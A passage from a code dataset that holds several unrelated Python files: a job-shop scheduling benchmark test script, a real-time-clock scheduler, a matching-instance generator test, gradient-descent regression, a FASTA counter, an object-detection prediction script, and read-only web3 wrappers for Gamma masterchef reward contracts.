dtrans_jobcentric_10_6_6_EncV3_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=3,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n model_paras['encoder_layer_num'] = 2\n \n # : 20230501_091050_dtrans_jobcentric_10_6_6_EncV6_DecV5\n dtrans_jobcentric_10_6_6_EncV6_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=6,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230501_091135_dtrans_jobcentric_10_6_6_EncV4_DecV5\n dtrans_jobcentric_10_6_6_EncV4_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=4,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230502_072132_dtrans_jobcentric_10_6_6_EncV7_DecV5\n dtrans_jobcentric_10_6_6_EncV7_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=7,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230503_095120_dtrans_jobcentric_10_6_6_EncV8_DecV5\n dtrans_jobcentric_10_6_6_EncV8_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=8,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230503_165454_gtrans_jobcentric_10_6_6_EncV1_DecV5\n gtrans_jobcentric_10_6_6_EncV1_DecV5 = TFJSPModel_GTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=1,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230504_165911_gtrans_jobcentric_10_6_6_EncV2_DecV5\n gtrans_jobcentric_10_6_6_EncV2_DecV5 = TFJSPModel_GTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=2,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230508_135053_gtrans_jobcentric_5_3_3_EncV2_DecV5\n gtrans_jobcentric_5_3_3_EncV2_DecV5 = TFJSPModel_GTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=2,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230508_135451_gtrans_jobcentric_10_6_3_EncV2_DecV5\n gtrans_jobcentric_10_6_3_EncV2_DecV5 = TFJSPModel_GTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=2,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230508_135332_gtrans_jobcentric_10_3_6_EncV2_DecV5\n gtrans_jobcentric_10_3_6_EncV2_DecV5 = TFJSPModel_GTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=2,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230510_084311_dtrans_jobcentric_10_6_6_EncV4_DecV5\n dtrans_jobcentric_10_6_6_EncV4_DecV5_sec = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=4,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n # : 20230510_132332_dtrans_jobcentric_5_3_3_EncV4_DecV5\n dtrans_jobcentric_5_3_3_EncV4_DecV5 = TFJSPModel_DTrans(\n embedding_dim_=model_paras[\"embedding_dim\"],\n hidden_dim_=model_paras[\"hidden_dim\"],\n problem=None,\n ope_feat_dim=model_paras[\"in_size_ope\"],\n ma_feat_dim=model_paras[\"in_size_ma\"],\n veh_feat_dim=model_paras[\"in_size_veh\"],\n mask_inner=True,\n mask_logits=True,\n encoder_version=4,\n decoder_version=5,\n meta_rl=train_paras['meta_rl'] if train_paras['meta_rl']['enable'] else None,\n **model_paras\n ).to(device)\n \n \n models = [\n matnet_jobcentric_10_6_6,\n hgnn_jobcentric_10_6_6,\n dtrans_jobcentric_10_6_6_EncV5_DecV5,\n dtrans_jobcentric_10_6_6_EncV0_DecV5,\n dtrans_jobcentric_10_6_6_EncV5_DecV0,\n dtrans_jobcentric_10_6_6_EncV1_DecV5,\n dtrans_jobcentric_10_6_6_EncV3_DecV5,\n dtrans_jobcentric_10_6_6_EncV6_DecV5,\n dtrans_jobcentric_10_6_6_EncV4_DecV5,\n dtrans_jobcentric_10_6_6_EncV7_DecV5,\n dtrans_jobcentric_10_6_6_EncV8_DecV5,\n gtrans_jobcentric_10_6_6_EncV1_DecV5,\n gtrans_jobcentric_10_6_6_EncV2_DecV5,\n gtrans_jobcentric_5_3_3_EncV2_DecV5,\n gtrans_jobcentric_10_6_3_EncV2_DecV5,\n gtrans_jobcentric_10_3_6_EncV2_DecV5,\n dtrans_jobcentric_10_6_6_EncV4_DecV5_sec,\n dtrans_jobcentric_5_3_3_EncV4_DecV5\n ]\n # : load saved model paths\n model_names = []\n model_loads = []\n for key, val in test_paras['models'].items():\n model_names.append(val['name'])\n model_loads.append(val)\n \n # : load model state_dict\n for i, model in enumerate(models):\n print(f'model_loads[{i}]:{model_loads[i][\"name\"]}')\n restore_model(model, device, **model_loads[i])\n \n \n # === validate dispatch rule ===\n if opts.test_dispatch:\n dispatch_spt = dispatchModel(\n rule='spt',\n **model_paras\n )\n models.append(dispatch_spt)\n model_names.append('dispatch_spt')\n\n dispatch_lpt = dispatchModel(\n rule='lpt',\n **model_paras\n )\n models.append(dispatch_lpt)\n model_names.append('dispatch_lpt')\n\n dispatch_fifo = dispatchModel(\n rule='fifo',\n **model_paras\n )\n models.append(dispatch_fifo)\n model_names.append('dispatch_fifo')\n \n # dispatch_lum_spt = dispatchModel(\n # rule='lum_spt',\n # **model_paras\n # )\n # models.append(dispatch_lum_spt)\n # model_names.append('dispatch_lum_spt')\n \n # dispatch_lum_lpt = dispatchModel(\n # rule='lum_lpt',\n # **model_paras\n # )\n # models.append(dispatch_lum_lpt)\n # model_names.append('dispatch_lum_lpt')\n \n \n \n \n \n \n # === validate AI algorithms ===\n validate_multi_models(\n vali_env, models, model_names, logger, \n result_folder, result_log, test_len=test_paras['num_test'],\n test_dataset_list=None,\n test_loader_list=None\n )\n \n # === validate Genetic algorithm ===\n if opts.test_GA:\n for idx, env in enumerate(vali_env):\n batch_size = env.batch_size\n avg_makespan = 0\n avg_runtime = 0\n cunt = min(batch_size, 1)\n parameters = parser_from_case(\n env.proc_times_batch[0], env.trans_times_batch[0], env.nums_ope_batch[0],\n env.num_vehs\n )\n makespan, runtime = GAtest(parameters, print_=False)\n # avg_makespan += makespan\n # avg_runtime += runtime\n # avg_makespan /= cunt\n # avg_runtime /= cunt\n logger.info('{} Score: {:0.2f} | SpandTime: {:0.2f} '.format(\"GA\", makespan, runtime))\n \n \n \n # === save log results of validation ===\n result_dict = {\n 'result_log': result_log.get_raw_data()\n }\n torch.save(result_dict, '{}/test_results.pt'.format(result_folder))\n \n\nif __name__ == '__main__':\n args = get_options()\n \n if args.multi_test:\n # === multi-eval ===\n benchmark_files = ['mt10c1.fjs', 'mt10cc.fjs', 'mt10x.fjs', 'mt10xx.fjs', 'mt10xxx.fjs',\n 'mt10xy.fjs', 'mt10xyz.fjs', 'setb4c9.fjs', 'setb4cc.fjs', 'setb4x.fjs',\n 'setb4xx.fjs', 'setb4xxx.fjs', 'setb4xy.fjs', 'setb4xyz.fjs', 'seti5c12.fjs',\n 'seti5cc.fjs', 'seti5x.fjs', 'seti5xx.fjs', 'seti5xxx.fjs', 'seti5xxx.fjs',\n 'seti5xy.fjs', 'seti5xyz.fjs']\n # benchmark_files = ['Mk01.fjs', 'Mk02.fjs', 'Mk03.fjs', 'Mk04.fjs', 'Mk05.fjs',\n # 'Mk06.fjs', 'Mk07.fjs', 'Mk08.fjs', 'Mk09.fjs', 'Mk10.fjs']\n for benchmark_file in benchmark_files:\n main(args, benchmark_file)\n else:\n main(args)\n ","repo_name":"msh0576/FJSPT-Scheduler","sub_path":"test_bechmark.py","file_name":"test_bechmark.py","file_ext":"py","file_size_in_byte":19899,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"72090793645","text":"from tools.ds1307 import DS1307\nfrom tools.time_convert import get_sec\n\nALLOW_OFFSET = 10\n\n\nclass ScheduleCallback:\n active_time: tuple\n active_time_sec: int\n name: str\n callback: any\n called: bool\n\n def __init__(self, active_time: tuple, callback, name: str):\n self.active_time = active_time\n self.callback = callback\n self.name = name\n self.called = False\n self.active_time_sec = get_sec(active_time)\n\n def loop(self, now_dt: tuple):\n delta = get_sec(now_dt) - self.active_time_sec\n if 0 <= delta <= ALLOW_OFFSET and not self.called:\n self.called = True\n try:\n self.callback()\n except Exception as e:\n print(f'Error schedule - {self.name}', e)\n if delta > ALLOW_OFFSET and self.called:\n self.called = False\n\n\nclass Schedule:\n ds: DS1307\n callbacks: list\n\n def __init__(self, ds: DS1307):\n self.ds = ds\n self.callbacks = []\n\n def add_callback(self, **kwargs):\n callback = kwargs.get('callback')\n active_time = kwargs.get('active_time')\n assert callback, Exception('Callback not found')\n assert active_time, Exception('Time not found')\n self.callbacks.append(ScheduleCallback(active_time, callback, kwargs.get('name')))\n\n def add(self, active_time: tuple, **kwargs):\n def wrapper(func):\n kwargs['callback'] = func\n kwargs['active_time'] = active_time\n self.add_callback(**kwargs)\n return wrapper\n\n def loop(self):\n now_dt = self.ds.datetime()[4:7]\n for callback in self.callbacks:\n callback.loop(now_dt)\n\n","repo_name":"alexba6/pool-python","sub_path":"tools/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36659791214","text":"import matchingproblems\nfrom matchingproblems.generator import generator_ha_sm_hr as generator\nimport unittest\n\n\"\"\"Testing class for the HA, SM, and HR instance generator.\"\"\"\n\nclass TestHaSmHrGenerator(unittest.TestCase):\n\n def test_instance_generation(self):\t\n \tgen = generator.Generator_ha_sm_hr()\n \tinstance = gen.create_instance(\n \t\tn1=3, \n \t\tn2=4, \n \t\tpref_lists_residents=[\n \t\t\t[2, 4, 1],\n \t\t\t[1, 3],\n \t\t\t[4, 2]],\n \t\tres_ties=[\n \t\t\t[1, 0, 1],\n \t\t\t[1, 0],\n \t\t\t[0, 1]],\n \t\tpref_lists_hospitals=[\n \t\t\t[2, 1],\n \t\t\t[1, 3],\n \t\t\t[2],\n \t\t\t[1, 3]],\n \t\thosp_ties=[\n \t\t\t[1, 0],\n \t\t\t[0, 0],\n \t\t\t[1],\n \t\t\t[0, 1]],\n \t\tlower_quotas=[1, 1, 0, 0],\n \t\tupper_quotas=[2, 1, 1, 1],\n \t\tinstance_info='info')\n\n \tinstance_test = (\n \t\t'3 4\\n'\n \t\t'1: (2 4) 1\\n'\n \t\t'2: (1 3)\\n'\n \t\t'3: 4 2\\n'\n \t\t'1: 1: 2: (2 1)\\n'\n \t\t'2: 1: 1: 1 3\\n'\n \t\t'3: 0: 1: 2\\n'\n \t\t'4: 0: 1: 1 3\\n\\n'\n \t\t'info')\n \tself.assertEquals(instance, instance_test)\n","repo_name":"fmcooper/matchingproblems","sub_path":"test/generator_ha_sm_hr_test.py","file_name":"generator_ha_sm_hr_test.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"2"} +{"seq_id":"3847402377","text":"import numpy as np\nimport pandas as pd\n\n# gradient descent algorithm for linear regression\ndef gradient_descent(input, label, tot_epochs, learning_rate, tol):\n\n # prepare the input of size (Nx,2) by inserting a new column of value 1\n # getting the sample size\n n = input.shape[0]\n new_column = np.ones(n,) # a column vector of ones.\n modinput = np.column_stack((input.T, new_column)) # creates a (n,2) array\n # initialize the weights and biases(theta1, theta0) with values from normal distribution\n # initialize with a seed for repetition of result\n output = {\n 'theta': [],\n 'cost': []\n }\n theta = np.random.normal(size=(1, modinput.shape[1]))\n # thetas.append(theta)\n\n for epoch in range(tot_epochs):\n # get the prediction\n y_hat = np.dot(modinput, theta.T)\n # calculate the cost\n diff = y_hat - label.reshape(n, 1)\n # print(diff.shape)\n cost = 0.5 * (np.square(diff)).mean(axis = 0)\n\n # print the cost\n # print('Epoch: {} Cost: {}'.format(epoch+1, cost[0]))\n\n # get the gradient\n dtheta0 = np.dot(input.reshape(n,1).T, diff)/n #slope\n dtheta1 = np.mean(diff) #intersection\n # print(dtheta0.shape)\n # update theta\n theta[0, 0] = (theta[0, 0] - learning_rate * dtheta0)[0]\n theta[0, 1] = theta[0, 1] - learning_rate * dtheta1\n # log the outputs\n output[\"theta\"].append(theta)\n output[\"cost\"].append(cost[0])\n # Checking with tolerance\n if epoch > 0 and (output[\"cost\"][epoch - 1] - output[\"cost\"][epoch]) < tol:\n break\n\n # convert the dictionary to a dataframe.\n outputdf = pd.DataFrame(output)\n return outputdf","repo_name":"Rysul119/Linear_Regression_Iris_Dataset","sub_path":"optimizers.py","file_name":"optimizers.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"26988998938","text":"from Bio.SeqIO.FastaIO import SimpleFastaParser\nimport argparse\n\nfile_path_parser= argparse.ArgumentParser(description='Count unknown aminoacids.')\nfile_path_parser.add_argument(\"input_file\", help=\"Input a complete aminoacid-sequence-filepath including its suffix.\")\n\nargs=file_path_parser.parse_args()\n\ncount_unknown = 0\n# We only count 'N' as unknown.\nwith open(args.input_file) as in_handle:\n for title, seq in SimpleFastaParser(in_handle):\n count_unknown += seq.count('N')\nprint(\"#Unkowns: \",count_unknown)\n","repo_name":"simonsasse/teaching","sub_path":"count_unknowns.py","file_name":"count_unknowns.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33079207448","text":"import time\nimport torch\nfrom PIL import Image\nimport torchvision\nfrom linc.detector.models import detection\nfrom linc.detector.helper.utils import draw_boxes\n\ndraw_confidence_threshold = 0.5\n\nto_tensor = torchvision.transforms.ToTensor()\nconvert_to_pil = torchvision.transforms.ToPILImage()\n\n\n@torch.no_grad()\ndef main(image_path, model_path, output_path, cpu):\n device = 'cuda' if torch.has_cuda and not cpu else 'cpu'\n print(f\"Running inference on {device} device\")\n\n print('Loading image... ', end='', flush=True)\n image = to_tensor(Image.open(image_path)).to(device)\n print('Done.')\n\n print('Loading checkpoint from hardrive... ', end='', flush=True)\n checkpoint = torch.load(model_path, map_location=device)\n label_names = checkpoint['label_names']\n print('Done.')\n\n print('Building model and loading checkpoint into it... ', end='', flush=True)\n model = detection.fasterrcnn_resnet50_fpn(\n num_classes=len(label_names) + 1, pretrained_backbone=False\n )\n model.to(device)\n\n model.load_state_dict(checkpoint['model'])\n model.eval()\n print('Done.')\n\n print('Running image through model... ', end='', flush=True)\n tic = time.time()\n outputs = model([image])\n toc = time.time()\n print(f'Done in {toc - tic:.2f} seconds!')\n\n print(f'Saving image to {output_path}... ', end='', flush=True)\n scores = outputs[0]['scores']\n top_scores_filter = scores > draw_confidence_threshold\n top_scores = scores[top_scores_filter]\n top_boxes = outputs[0]['boxes'][top_scores_filter]\n top_labels = outputs[0]['labels'][top_scores_filter]\n if len(top_scores) > 0:\n image_with_boxes = draw_boxes(\n image.cpu(), top_boxes, top_labels.cpu(), label_names, scores, vert_size=500\n )\n else:\n print(\"The model didn't find any object it feels confident about enough to show\")\n exit()\n pil_picture = convert_to_pil(image_with_boxes)\n pil_picture.save(output_path)\n print('Done.')\n\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser(description='LINC Detector Prediction')\n parser.add_argument('input_image_path', help='Path of image to run prediction on')\n parser.add_argument('model_checkpoint_path', help='Path of checkpoint of model to load into network')\n parser.add_argument(\n '--output_image_path', default='out.jpg', help='Path where output image should be saved'\n )\n parser.add_argument(\"--cpu\", dest=\"cpu\", help=\"Force model to use CPU\", action=\"store_true\")\n args = parser.parse_args()\n\n main(args.input_image_path, args.model_checkpoint_path, args.output_image_path, args.cpu)\n","repo_name":"linc-lion/LINC-detector","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"16046089875","text":"import contextlib\nimport logging\nfrom web3 import Web3\nfrom sources.web3.bins.w3.objects.basic import web3wrap\n\n\n# Gamma rewarder\nclass gamma_masterchef_rewarder(web3wrap):\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"masterchef_rewarder\"\n self._abi_path = abi_path or \"sources/common/abis/gamma/masterchef\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._acc_token_precision: int | None = None\n self._masterchef_v2: str | None = None\n self._funder: str | None = None\n self._owner: str | None = None\n self._pendingOwner: str | None = None\n self._poolLength: int | None = None\n self._rewardPerSecond: int | None = None\n self._rewardToken: str | None = None\n self._totalAllocPoint: int | None = None\n\n @property\n async def acc_token_precision(self) -> int:\n if not self._acc_token_precision:\n self._acc_token_precision = await self.call_function_autoRpc(\n \"ACC_TOKEN_PRECISION\"\n )\n\n return self._acc_token_precision\n\n @property\n async def masterchef_v2(self) -> str:\n if not self._masterchef_v2:\n self._masterchef_v2 = await self.call_function_autoRpc(\"MASTERCHEF_V2\")\n return self._masterchef_v2\n\n @property\n async def funder(self) -> str:\n if not self._funder:\n self._funder = await self.call_function_autoRpc(\"funder\")\n return self._funder\n\n @property\n async def owner(self) -> str:\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n @property\n async def pendingOwner(self) -> str:\n if not self._pendingOwner:\n self._pendingOwner = await self.call_function_autoRpc(\"pendingOwner\")\n return self._pendingOwner\n\n async def pendingToken(self, pid: int, user: str) -> int:\n return await self.call_function_autoRpc(\"pendingToken\", None, pid, user)\n\n async def pendingTokens(self, pid: int, user: str, input: int) -> tuple[list, list]:\n # rewardTokens address[], rewardAmounts uint256[]\n return await self.call_function_autoRpc(\"pendingToken\", None, pid, user, input)\n\n async def poolIds(self, input: int) -> int:\n return await self.call_function_autoRpc(\"poolIds\", None, input)\n\n async def poolInfo(self, input: int) -> tuple[int, int, int]:\n \"\"\"_summary_\n\n Args:\n input (int): _description_\n\n Returns:\n tuple[int, int, int]: accSushiPerShare uint128, lastRewardTime uint64, allocPoint uint64\n accSushiPerShare — accumulated SUSHI per share, times 1e12.\n lastRewardBlock — number of block, when the reward in the pool was the last time calculated\n allocPoint — allocation points assigned to the pool. SUSHI to distribute per block per pool = SUSHI per block * pool.allocPoint / totalAllocPoint\n \"\"\"\n return await self.call_function_autoRpc(\"poolInfo\", None, input)\n\n @property\n async def poolLength(self) -> int:\n if not self._poolLength:\n self._poolLength = await self.call_function_autoRpc(\"poolLength\")\n return self._poolLength\n\n @property\n async def rewardPerSecond(self) -> int:\n if not self._rewardPerSecond:\n self._rewardPerSecond = await self.call_function_autoRpc(\"rewardPerSecond\")\n return self._rewardPerSecond\n\n @property\n async def rewardToken(self) -> str:\n if not self._rewardToken:\n self._rewardToken = await self.call_function_autoRpc(\"rewardToken\")\n return self._rewardToken\n\n @property\n async def totalAllocPoint(self) -> int:\n \"\"\"Sum of the allocation points of all pools\n\n Returns:\n int: totalAllocPoint\n \"\"\"\n if not self._totalAllocPoint:\n self._totalAllocPoint = await self.call_function_autoRpc(\"totalAllocPoint\")\n return self._totalAllocPoint\n\n async def userInfo(self, pid: int, user: str) -> tuple[int, int]:\n \"\"\"_summary_\n\n Args:\n pid (int): pool index\n user (str): user address\n\n Returns:\n tuple[int, int]: amount uint256, rewardDebt uint256\n amount — how many Liquid Provider (LP) tokens the user has supplied\n rewardDebt — the amount of SUSHI entitled to the user\n\n \"\"\"\n return await self.call_function_autoRpc(\"userInfo\", None, pid, user)\n\n # CUSTOM\n async def as_dict(self, convert_bint=False, static_mode: bool = False) -> dict:\n \"\"\"as_dict _summary_\n\n Args:\n convert_bint (bool, optional): Convert big integers to string. Defaults to False.\n static_mode (bool, optional): only general static fields are returned. Defaults to False.\n\n Returns:\n dict:\n \"\"\"\n result = await super().as_dict(convert_bint=convert_bint)\n\n result[\"type\"] = \"gamma\"\n\n result[\"token_precision\"] = await self.acc_token_precision\n result[\"masterchef_address\"] = (await self.masterchef_v2).lower()\n result[\"owner\"] = (await self.owner).lower()\n result[\"pendingOwner\"] = (await self.pendingOwner).lower()\n\n result[\"poolLength\"] = await self.poolLength\n\n result[\"rewardPerSecond\"] = await self.rewardPerSecond\n result[\"rewardToken\"] = (await self.rewardToken).lower()\n\n result[\"totalAllocPoint\"] = await self.totalAllocPoint\n\n if convert_bint:\n result[\"token_precision\"] = str(self.acc_token_precision)\n result[\"rewardPerSecond\"] = str(self.rewardPerSecond)\n result[\"totalAllocPoint\"] = str(self.totalAllocPoint)\n\n # only return when static mode is off\n if not static_mode:\n pass\n\n return result\n\n\n# Gamma rewarder registry ( masterchef)\nclass gamma_masterchef_v1(web3wrap):\n # https://optimistic.etherscan.io/address/0xc7846d1bc4d8bcf7c45a7c998b77ce9b3c904365#readContract\n\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"masterchef_v1\"\n self._abi_path = abi_path or \"sources/common/abis/gamma/masterchef\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._sushi: str | None = None\n self._owner: str | None = None\n self._pendingOwner: str | None = None\n self._poolLength: int | None = None\n\n @property\n async def sushi(self) -> str:\n \"\"\"The SUSHI token contract address\n\n Returns:\n str: token address\n \"\"\"\n if not self._sushi:\n self._sushi = await self.call_function_autoRpc(\"SUSHI\")\n return self._sushi\n\n async def getRewarder(self, pid: int, rid: int) -> str:\n \"\"\"Retrieve rewarder address from masterchef\n\n Args:\n pid (int): The index of the pool\n rid (int): The index of the rewarder\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\"getRewarder\", None, pid, rid)\n\n async def lpToken(self, pid: int) -> str:\n \"\"\"Retrieve lp token address (hypervisor) from masterchef\n\n Args:\n index (int): index of the pool ( same of rewarder )\n\n Returns:\n str: hypervisor address ( LP token)\n \"\"\"\n return await self.call_function_autoRpc(\"lpToken\", None, pid)\n\n @property\n async def owner(self) -> str:\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n @property\n async def pendingOwner(self) -> str:\n if not self._pendingOwner:\n self._pendingOwner = await self.call_function_autoRpc(\"pendingOwner\")\n return self._pendingOwner\n\n async def pendingSushi(self, pid: int, user: str) -> int:\n \"\"\"pending SUSHI reward for a given user\n\n Args:\n pid (int): The index of the pool\n user (str): address\n\n Returns:\n int: _description_\n \"\"\"\n return await self.call_function_autoRpc(\"pendingSushi\", None, pid, user)\n\n async def poolInfo(self, pid: int) -> tuple[int, int, int]:\n \"\"\"_summary_\n\n Returns:\n tuple[int,int,int]: accSushiPerShare uint128, lastRewardTime uint64, allocPoint uint64\n \"\"\"\n return await self.call_function_autoRpc(\"poolInfo\", None, pid)\n\n @property\n async def poolLength(self) -> int:\n \"\"\"Returns the number of MCV2 pools\n Returns:\n int:\n \"\"\"\n if not self._poolLength:\n self._poolLength = await self.call_function_autoRpc(\"poolLength\")\n return self._poolLength\n\n\nclass gamma_masterchef_v2(web3wrap):\n # https://polygonscan.com/address/0xcc54afcecd0d89e0b2db58f5d9e58468e7ad20dc#readContract\n\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"masterchef_v2\"\n self._abi_path = abi_path or \"sources/common/abis/gamma/masterchef\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._endTimestamp: int | None = None\n self._erc20: str | None = None\n self._feeAddress: str | None = None\n self._owner: str | None = None\n self._paidOut: int | None = None\n self._poolLength: int | None = None\n self._rewardPerSecond: int | None = None\n self._startTimestamp: int | None = None\n self._totalAllocPoint: int | None = None\n\n async def deposited(self, pid: int, user: str) -> int:\n \"\"\"_summary_\n\n Args:\n pid (int): _description_\n user (str): _description_\n\n Returns:\n int: _description_\n \"\"\"\n return await self.call_function_autoRpc(\"deposited\", None, pid, user)\n\n @property\n async def endTimestamp(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: _description_\n \"\"\"\n if not self._endTimestamp:\n self._endTimestamp = await self.call_function_autoRpc(\"endTimestamp\")\n return self._endTimestamp\n\n @property\n async def erc20(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._erc20:\n self._erc20 = await self.call_function_autoRpc(\"erc20\")\n return self._erc20\n\n @property\n async def feeAddress(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._feeAddress:\n self._feeAddress = await self.call_function_autoRpc(\"feeAddress\")\n return self._feeAddress\n\n @property\n async def owner(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n @property\n async def paidOut(self) -> int:\n 